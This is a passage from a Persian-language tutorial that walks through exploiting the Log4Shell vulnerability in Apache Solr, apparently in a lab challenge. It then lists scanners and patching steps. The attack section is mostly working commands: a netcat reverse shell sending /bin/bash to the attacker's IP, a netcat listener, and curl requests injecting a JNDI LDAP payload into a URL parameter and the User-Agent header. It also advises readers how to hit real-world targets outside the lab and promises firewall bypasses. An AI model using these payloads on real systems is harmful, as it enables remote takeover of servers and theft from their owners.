توجه داشته باشید که نام فایل باید همنام با اسم اون class ـه توی کد باشه .. و توی دستور try کلا اون دستوری که قراره روی سیستم قربانی اجرا بشه رو توی تابع exec مینویسیم ینی توی تابع exec دستور reverse shell ـی که قراره از سیستم قربانی بگیریم رو مینویسیم که این‌ام با nc اینکارو انجام میدیم ینی با استفاده از دستور زیر : 

nc -e /bin/bash 10.17.37.76 9999

 

بعدش نیازه که این فایل Java ـی که درست کردیم رو کامپایل کنیم که با دستور javac که برای کامپایل فایلای جاوا هست اون فایل رو کامپایلش می کنیم.

javac Exploit.java -source 8 -target 8

در نهایت  نیازه که یک وب سرور لوکال روی سیستم خودمون بالا بیاریم تا بتونیم با استفاده از این وب سرور تارگت به فایل class ـمون دسترسی پیدا کنه.

php -S 10.17.37.76:8000

و داخل یک تب جدید

با nc اون پورتی که قرار قربانی بهمون وصل بشه رو listen میکنیم روی سیستممون.

nc -lnvp 9999

در نهایت زمانی که ما اون endpoint آسیب‌پذیر رو پیدا کردیم کافیه که بیایم پیلود خودمون رو ارسال کنیم .. که اینکار رو هم با استفاده از دستور زیر میتونیم انجام بدیم که البته روش های زیادی براش هست ولی خب یکی از روشاش اینه

با curl پیلود خودمون رو میفرستیم

حتما هم باید endpoint ـی که با ابزار curl اون payload رو بهش تزریق می کنیم حتما باید داخل سینگل کوتیشن باشه (‘ ‘)

curl ‘http://10.10.120.181:8983/solr/admin/info/logging?_=$\{jndi:ldap://10.10.126.5:1389/Exploit\}&since=0&wt=json‘

خب پس payload اصلی ما شد

$\{jndi:ldap://10.10.126.5:1389/Exploit\}

که قبلا زیاد راجب این پیلود توضیح دادم و اینجا توجه داشته باشید که باید ip سیستم خودتون و پورت 1389 که پورت مربوط به ابزار marshalsec هست و ldap رو run کرده روی اون بهش بدیم.

دوستان در کد بالا پیلودی که من ست کردم اینه 

$\{jndi:ldap://10.10.126.5:1389/Exploit\}

خب الان شاید براتون سوال باشه که چرا الان اینجا من از \ استفاده کردم ؟! اینم بخاطر اینه که دستور رو توی محیط bash میزنیم و اگه \ نزاریم کلا به مشکل میخوریمو غیره .

اگه اون تارگت از کتابخونه ورژن آسیب پذیر log4j استفاده میکرد، و user-agent کاربر رو تو خودش log/ثبت میکرد اونموقع از پیلود و دستور زیر برای اکسپلویت کردنش استفاده میکردیم :

${jndi:ldap://10.10.126.5:1389/Exploit}

curl -H ‘User-Agent: ${jndi:ldap://10.10.126.5:1389/Exploit}‘ ‘target’

و وقتی درخواست مخرب خودمون رو به سمت endpoint آسیب پذیر ارسال کردیم منتظر میمونیم تا درخواست بیاد و به سرور قربانی وصل شیم 🙂 

خب بعد از اینکه curl درخواست مخرب مارو به سمت endpoint آسیب پذیر فرستاد الان برمیگردیم به تبی که ابزار nc رو رو حالت listen گذاشتیم و همونطور که میبنید تونستیم از سرور قربانی دسترسی بگیریم 🙂

نکته : همه ی این کارایی که من بالا انجام دادم و دستوراتی که زدم حتما باید داخل پوشه ی ابزار marshalsec باشید و اونکارارو انجام بدینو دستوراتو بزنید.

و تمام!

اینم از چالش Log4J .

 

 

در ادامه قراره که یکسری اسکنر هایی رو بهتون معرفی کنم که میاین سایت یا ip رو بهش میدین و خودش میاد کلا براتون اسکن میکنه که این به این آسیب پذیری آسیب پذیره یا ن و endpoint آسیب پذیر رو بهتون میده و… و قراره نحوه کارکرد این اسکنر هارو باهم بررسی کنیم .

 

 

 

معرفی scanner برای آسیب پذیری log4j

خب دوستان در این بخش قرار scanner های مختلف رو بهتون معرفی کنیم که ممکنه مثلا یک وب سروری پیدا کرده باشید و سرویسی که از log4j استفاده میکنه هم روی اون وب سرور فعال باشه مثلا apache solar و خلاصه اون وب سرور آسیب پذیره ولی endpoint یا اون قسمتی که قراره payload بهش inject کنیم پیدا نمیکنید.

در اینجور شرایط اولا باید تمام ورودی ها رو بصورت دستی payload مخرب رو روش تست کنید و همچنین تمامی http header  ـهارو باید تست کنید .. بعد اگر به بجایی نرسیدید دیگه بیاید سراغ اسکنر.

یا مثلا ی لیستی از تارگت دارید حال ندارید که بصورت دستی تست کنید که باز اونموقع هم میتونید از اسکنر استفاده کنید که پیشنهاد من اینه اول بصورت دستی تست کنید کامل ، بعد بیاید از اسکنر مورد نظرتون استفاده کنید.

خب دوستان scanner ـی که پیشنهاد می کنم باهاش کار کنید  log4shell scanner و log4shell everywhere هستش که یکی از اسکنر های معروف و قدرتمند در ابزار burp suite برای اسکن کردن آسیب پذیری log4j می باشد و میتونید ازش استفاده کنید .. ناگفته هم نماند که این اسکنر در آخرین نسخه ی ابزار Burp Suite بصورت پیش فرض نصبه و هنگام اسکن تارگت این  آسیب پذیری هم تست میشه ، اگر هم نصب نبود میتونید از قسمت extentions ـهای ابزار burp این اسکنر هارو نصب کنید 🙂

برای راهنمای نصب و… هم میتونید از منابع زیر استفاده کنید :

Reference 1

Reference 2

Reference 3

Reference 4

اینو هم بگم که ، اسکنر برای اسکن کردن این آسیب پذیری زیاده فقط کافیه داخل گوگل سرچ کنید log4j scanner یا log4shell scanner کلی ابزار براتون میاره .. که من حالا داخل گیت هاب اسکنر های معروف رو براتون سرچ کردم و لینکشو پایین میزارم ی سر بزنید :

log4j scanner 1

log4j scanner 2

همچنین شما میتونید با استفاده از اسکریپتی که به Template اسکنر قدرتمند Nuclei اضافه شده تارگت های مورد نظر رو بررسی کنید ، به شرح تصویر زیر :

 

ناگفته نماند که nmap هم ی اسکریپت برای اسکن آسیب پذیری log4j داره که برای اطلاعات بیشتر به این آدرس مراجعه کنید.

 

 

 

نحوه patch کردن و مقابله

• برای پچ کردنشم کافیه log4j 2.17 رو دانلود کنید که هر دو فیکس شدند.
• طبق راهنمایی های آپاچی، در نسخه های پایینتر از 2.10، می توان با تنظیم ویژگی سیستم log4j2.formatMsgNoLookups یا متغیر محیطی LOG4J_FORMAT_MSG_NO_LOOKUPS روی true مقابله را انجام داد. 
• برای نسخه‌های 2.0-beta9 تا 2.10.0، روش مقابله حذف کلاس JndiLookup از مسیر زیر است:
  • classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

 

 

 

نکته :‌ دوستان اگر شما میخواهید بصورت real world توی محیط واقعی تارگت بزنید (خارج از شبکه) باید از vps استفاده کنید یا ip ـتون ثابت باشه یا هم تنظیمات پورت فورواردینگ رو روی مودمتون انجام بدین!

 

ناگفته نماند که در دل این آسیب پذیری log4j هکرا ی آسیب پذیری دیگه کشف کردن که میشه باهاش حملات DoS رو انجام داد که اسم اینم گذاشتن Log4DoS 🙂 و دقیقا این آسیب پذیری هم بعد از پچ شدن آسیب پذیری log4shell توی ورژن 2.16 کتابخونه ی log4j بوجود اومد 🙂 و با شناسه ی CVE-2021-45105 ثبت شده و خلاصه همه ی این آسیب پذیری ها در ورژن 2.17 log4j پچ شده.

 

خب دوستان این پایان ماجرا نیست!

قراره ی مقاله جدا در دنیای واقعی بصورت real world تارگت log4j رو بزنیم و 0 تا صد استفاده و بهره برداری از این آسیب پذیری در دنیای واقعی رو قراره خدمتتون عرض کنیم بهمراه روش های bypass فایروال و تحلیل اسکنر های مختلف و…

پس منتظر قسمت دوم این مقاله باشید 🙂

امیدوارم که از این مقاله هم لذت کافی رو برده باشید 🌹

و تا مقالات بعدی بدورد